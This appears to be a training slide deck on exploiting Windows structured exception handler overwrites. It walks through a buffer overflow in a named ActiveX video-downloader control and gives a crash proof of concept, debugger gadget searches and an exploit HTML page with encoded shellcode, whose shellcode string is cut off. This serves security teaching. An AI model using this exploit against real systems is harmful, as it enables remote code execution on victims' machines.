Structured Exception Handler
EXPLOITATION
What is an exception

- An exception is an event that occurs during the execution of a program
- Requires the execution of code outside the normal flow of control
Structured Exception Handling

- Blocks of code are encapsulated, with each block having one or more associated handlers.
- Each handler specifies some form of filter condition on the type of exception it handles.
- When an exception is raised by code in a protected block, the set of corresponding handlers is searched in order, and the first one with a matching filter condition is executed.
- A single method can have multiple structured exception handling blocks, and the blocks can also be nested within each other.
Exception pointers structure

- Contains an exception record with a machine-independent description of an exception
- A context record with a machine-dependent description of the processor context at the time of the exception

```c
typedef struct _EXCEPTION_POINTERS {
    PEXCEPTION_RECORD ExceptionRecord;
    PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
```
Exception pointers structure (2)

- A pointer to the next exception registration structure
- A pointer to the address of the actual code of the exception handler
Thread information block

- The Thread Information Block (TIB) is a data structure in Win32 that stores information about the currently running thread.

- At the position FS:[0x00] we found the current exception handler.

### Contents of the TIB

<table>
<thead>
<tr>
<th>Position</th>
<th>Length</th>
<th>Windows Versions</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FS:[0x00]</td>
<td>4</td>
<td>Win9x and NT</td>
<td>Current Structured Exception Handling (SEH) frame</td>
</tr>
</tbody>
</table>
Dumping SEH chain in Inmunity debugger
How SEH works?

- The exception handlers are linked to each other
- They form a linked list chain on the stack, and sit relatively close to the bottom of the stack
- When an exception occurs, Windows retrieves the head of the SEH chain walks through the list and tries to find the suitable handler to close the application properly
Abusing the SEH

• When exploiting an SEH overwrite and attacker clobbers the handler attribute of the EXCEPTION_REGISTRATION_RECORD with the address of an instruction sequence similar to POP POP RET

• When the exception occurs, this causes Windows to pass execution to this address, which subsequently returns to the location on the stack of the Next attribute of the EXCEPTION_REGISTRATION_RECORD

• The Next attribute is also controlled by the attacker, but if we recall the stack layout from earlier, the Next attribute is below the Handler attribute

• This limits the attacker to 4 bytes before running into the Handler address he previously supplied to originally obtain code execution

• However, by overwriting the Next attribute with the instructions that jump the Handler attribute, the attacker typically has enough room for arbitrary shellcode, and this is exactly what happens
Overwriting the Next SEH record and SE handler

- To check a chain of exception handlers before and after an overflow we can use `WinDbg !exchain` command
- At the left we can see the SEH chain and the stack before the overflow occurs
- At the right we can see the pointers were successfully overwritten
What are we overwriting?

• When we performs a regular stack based buffer overflow, we overwrite the return address of the Extended Instruction Pointer (EIP)

• When doing a SEH overflow, we will continue overwriting the stack after overwriting EIP, so we can overwrite the default exception handler as well
Viewing the SEH before the overflow

• Before the overflow occurs we can see the stack and the SEH chain.

• The SEH chain starts from 0x015fd044 down to 0x015fffdc which indicates the end of the SEH chain.

• Directly below 0x015fffe0, we see 0x7c839ad8, which is the address of the default SE handler for this application. This address sits in the address space of kernel32.dll.
Viewing the SEH after the overflow

- Dumping the TIB confirms that the SEH was overwritten
- Code execution is successfully passed to the injected address 0x61616161
- Addresses 0x015fd044 and 0x015fd048 which were the Next SEH record and SE handler are now controlled.
See an exception analysis

- The command `!analyze -v` in Windbg give us more details about the triggering of the exception.
How SEH base exploit works

• When the exception is triggered the program flow go to the SE Handler

• All we need is just put some code to jump to our payload

• Faking a second exception makes the application goes to the next SEH pointer

• As the Next SEH pointer is before the SE handler we can overwrite the Next SEH

• Since the shellcode sits after the Handler, we can trick the SE Handler to execute POP POP RET instructions so the address to the Next SEH will be placed in EIP, therefore executing the code in Next SEH

• The code will basically jump over some bytes and execute the shellcode
Exploiting the application

- We will exploit a vulnerability in Gogago Youtube Downloader Video ActiveX
  www.gogago.net/download/youtube_video_downloader_setup.exe
- A buffer overflow is triggered after injecting more than 2230 bytes in the Download() function
- This vulnerability could be exploited using a basic RET CALL technique
- We will use SEH based exploitation which is also functioning in this particular case
Creating the POC

- We craft an HTML page calling the method `Download` using the CLASSID.
- When we overflow the method with 2250 bytes with junk data we trigger an exception.

```html
<html>
<object classid='clsid:7966A32A-5763-4F0E-824C-05C77C02306C' id='target'/></object>
<input language='VBScript' onclick='Boom()' type='button' value='exploit-Me'/>
<script language='vbscript'>
Sub Boom()
    junk = String(2250, "a")
    target.Download junk
End Sub
</script>
</html>

(c04.ff8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=7c9132bc esi=00000000 edi=00000000
eip=61616161 esp=015f83ac ebp=015f83cc iopl=0 nvcpl=0 nv up ei pl nz na ng cs=001b ds=0023 es=0023 fs=003b gs=0000 efl=00010246
61616161 ??
```
Overwriting Next pointer and SE handler

- To successfully overwrite the Next Pointer and SE Handler we must calculate the exact number of bytes to inject.

- You can use tools as `pattern_create` and `pattern_search` from Metasploit, or you can do it manually injecting buffers with different patterns.
Finding POP POP RET instructions

- Finding opcodes it’s not a difficult task you can use findjump or IDA
- In this tutorial we will use WinDBG
- We launch our prove of concept and we attach to Internet Explorer. After the overflow occurs we search the base memory address of the Gogago module MDIEex.dll
- Finally we can search for the opcodes using the `s` command

```
0:008: ln m mdieex
start   end   module name
03eb0000 03ec5000 MDIEEx   C (export symbols)   C:\Program Files\Gogago\YouTube
0:008:   s 03eb0000 l 03ec5000 5f 5e c3
03eb1b28 5f 5e c3 8b 04 fd 94 a2 eb 03 eb f4 56 8b f1 8b 8b
03eb26d2 5f 5e c3 8b 4c 24 10 66 8b 04 fd ec ef eb 03 6a 8b 8b
03eb312a 5f 5e c3 8b c9 83 e9 03 c1 e9 02 74 2b f3 74 74 8b
03eb3189 5f 5e c3 55 8b ec 83 ec 20 8b 45 08 56 89 45 e8 8b
03eb41f0 5f 5e c3 68 49 01 00 00 6a 00 ff 35 f4 06 ec 8b 8b
03eb4c4c 5f 5e c3 55 8b ec 51 8b 4d 08 53 56 57 8b 71 10 8b
03eb5799 5f 5e c3 55 8b ec 8b 45 08 56 83 3c 85 d0 7e 74 8b
03eb6318 5f 5e c3 53 8b 5c 24 0c 8b c3 4b 56 57 85 c0 7e 74
03eb65f5 5f 5e c3 53 8d 5c 24 0c 8b c3 4b 56 57 85 c0 7e 74
03eb75ba 5f 5e c3 56 8b 74 24 03 3b 35 c0 06 ec 03 73 40 8b
03eb7607 5f 5e c3 5e 0c 00 00 c7 00 09 00 00 00 00 8b 0f 5e
03eb80f1 5f 5e c3 8b 44 24 04 3b 05 c0 06 ec 03 73 1f 8b 0f
03eb885c 5f 5e c3 56 8b 74 24 03 37 33 cf ff f6 46 0c 83 5e
03eb8ba8 5f 5e c3 53 8d 5c 24 03 3b 1d c0 06 ec 03 56 57 8b
03eb918c 5f 5e c3 80 3d 5f ff c7 00 09 00 00 00 00 3b 74
03eb88e7 5f 5e c3 56 8b 74 24 03 3b 46 0c a8 83 74 1d a8 0f
```

```
0:008: u 03eb26d2
MDIEEx\D1UnregisterServer+0x160d:
03eb26d2 5f   pop   edi
03eb26d3 5e   pop   esi
03eb26d4 c3   ret
```
Building the exploit

- After calculating the number of bytes to overwrite the Next pointer and SE handler we inject 4 bytes of code to jump to our shellcode this will replace the old SE handler

- Following the SE handler we inject the POP POP RET opcodes from the same module of the exploited application

- Finally we inject our payload

```html
<html>
<body>
<object id=ctrl classid="clsid:7966A32A-5783-4F0B-844c-09077C023080"></object>
<script language='javascript'>

shellcode = unescape("%eb%03%59%eb%05%e8%ff%ff%ff%49%49%49%49%51%56%54%58%36%33%30

function Exploit()
{
  var size_buff = 2367;
  var x = "aaaa";
  while (x.length < size_buff) x += x; // Injecting our junk buffer
  x = x.substring(0,size_buff);

  var NEXT_exception = unescape("%eb%06%90%90"); // Jump over 6 bytes to reach our payload
  x += NEXT_exception;

  var SE = unescape("%d2%26%eb%03"); // 03eb26d2 from MDIEEx.dll (POP POP RET)
  x += SE;

  x += shellcode;

  ctrl.Download(x);
}
</script>
<input language=JavaScript onclick=Exploit() type=button value="Go">
</body>
</html>
```
Executing the exploit

- We place a breakpoint before entering in the vulnerable method. The SE handler that will be overwritten sits at 0x15fa79c, and corresponds to the jscript.dll module.
Executing the exploit (2)

- After the overflow occurs we successfully overwrites the old jscript SE handler later code execution will be redirected to our POP POP RET instructions.
Redirect code execution

- The code is redirected to our fake SE Handler address
Jumping to our payload

- Jumping over 6 bytes to reach our shellcode starting at address 0x015fa7a4
Shellcode execution

- Time to dance 😊
Questions

brian.mariani@htbridge.ch
References

- http://en.wikipedia.org/wiki/Win32_Thread_Info...